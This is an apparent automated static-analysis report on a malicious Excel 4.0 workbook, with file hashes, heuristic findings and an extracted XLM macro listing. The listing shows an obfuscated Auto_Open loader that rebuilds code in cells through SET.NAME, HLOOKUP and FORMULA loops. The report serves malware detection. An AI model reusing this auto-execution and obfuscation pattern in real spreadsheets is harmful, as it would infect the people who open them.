Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab8e7fe8d1fccf3c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:29:47 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: b8a05a802efbef82abfe2a82752c383a SHA-1: c495793a757b1ee5fb0d8a17ef7ab84647ecdfc2 SHA-256: ab8e7fe8d1fccf3c0e5097ce93610729b1a1b888add6b4f0b0cf5644f157d499
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6341 bytes
SHA-256: 938ba318cb234a8faea16c210a05e0ce27b9b7ced0b8590da9e41310cb1cb95a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sMe
' 0018     20 LABEL : Cell Value, String Constant - aOFGk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H177 
' 0018     26 LABEL : Cell Value, String Constant - CZBWqHgoofH len=0 
' 0018     26 LABEL : Cell Value, String Constant - edfJggxvhOQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - EvombqsBY len=0 
' 0018     25 LABEL : Cell Value, String Constant - EyiUyRcMtm len=0 
' 0018     22 LABEL : Cell Value, String Constant - gqLrdzn len=0 
' 0018     27 LABEL : Cell Value, String Constant - IhsETDIjWcDI len=0 
' 0018     22 LABEL : Cell Value, String Constant - kLwciNY len=0 
' 0018     24 LABEL : Cell Value, String Constant - lXsLxzIqk len=0 
' 0018     23 LABEL : Cell Value, String Constant - NeXfKPJs len=0 
' 0018     20 LABEL : Cell Value, String Constant - nTNgn len=0 
' 0018     23 LABEL : Cell Value, String Constant - OdbwAWNF len=0 
' 0018     20 LABEL : Cell Value, String Constant - QFblD len=0 
' 0018     21 LABEL : Cell Value, String Constant - QxlBdv len=0 
' 0018     27 LABEL : Cell Value, String Constant - roXPmjeldaJn len=0 
' 0018     23 LABEL : Cell Value, String Constant - sivWrLBs len=0 
' 0018     21 LABEL : Cell Value, String Constant - TeWCsE len=0 
' 0018     24 LABEL : Cell Value, String Constant - uCUJyZmDp len=0 
' 0018     20 LABEL : Cell Value, String Constant - XIwaj len=0 
' 0018     24 LABEL : Cell Value, String Constant - YIcMhzRUp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sMe,H96,"SET.NAME("nTNgn",VALUE("0"))",""
'  sMe,H98,"SET.NAME("gqLrdzn",nTNgn)",""
'  sMe,H100,"SET.NAME("aOFGk",nTNgn)",""
'  sMe,H103,"SET.NAME("EvombqsBY",COUNTA(QFblD))",""
'  sMe,H105,"SET.NAME("edfJggxvhOQ",COUNTA(uCUJyZmDp))",""
'  sMe,H107,[],""
'  sMe,H110,"SET.NAME("TeWCsE","")",""
'  sMe,H113,"gqLrdzn",""
'  sMe,H116,"SET.NAME("QxlBdv",HLOOKUP("*",QFblD,gqLrdzn,FALSE))",""
'  sMe,H118,"kLwciNY",""
'  sMe,H121,"SET.NAME("CZBWqHgoofH",nTNgn)",""
'  sMe,H123,[],""
'  sMe,H126,"CZBWqHgoofH",""
'  sMe,H131,"YIcMhzRUp",""
'  sMe,H136,"IhsETDIjWcDI",""
'  sMe,H139,"sivWrLBs",""
'  sMe,H141,"SET.NAME("NeXfKPJs",VALUE(HLOOKUP("*",uCUJyZmDp,sivWrLBs,FALSE)))",""
'  sMe,H146,"EyiUyRcMtm",""
'  sMe,H149,"TeWCsE",""
'  sMe,H154,"aOFGk",""
'  sMe,H157,NEXT(),""
'  sMe,H159,"roXPmjeldaJn",""
'  sMe,H164,"SET.NAME("f",INT(T(FORMULA(T(TeWCsE)&"",""&T(roXPmjeldaJn)))))",""
'  sMe,H167,"OdbwAWNF",""
'  sMe,H170,NEXT(),""
'  sMe,H174,RETURN(),""
'  sMe,H198,"SET.NAME("lXsLxzIqk",H96)",""
'  sMe,H203,"QFblD",""
'  sMe,H205,"SET.NAME("uCUJyZmDp",R42C14)",""
'  sMe,H208,"SET.NAME("OdbwAWNF",215)",""
'  sMe,H212,"SET.NAME("XIwaj",8)",""
'  sMe,H214,lXsLxzIqk(),""
'  sMe,H215,HALT(),""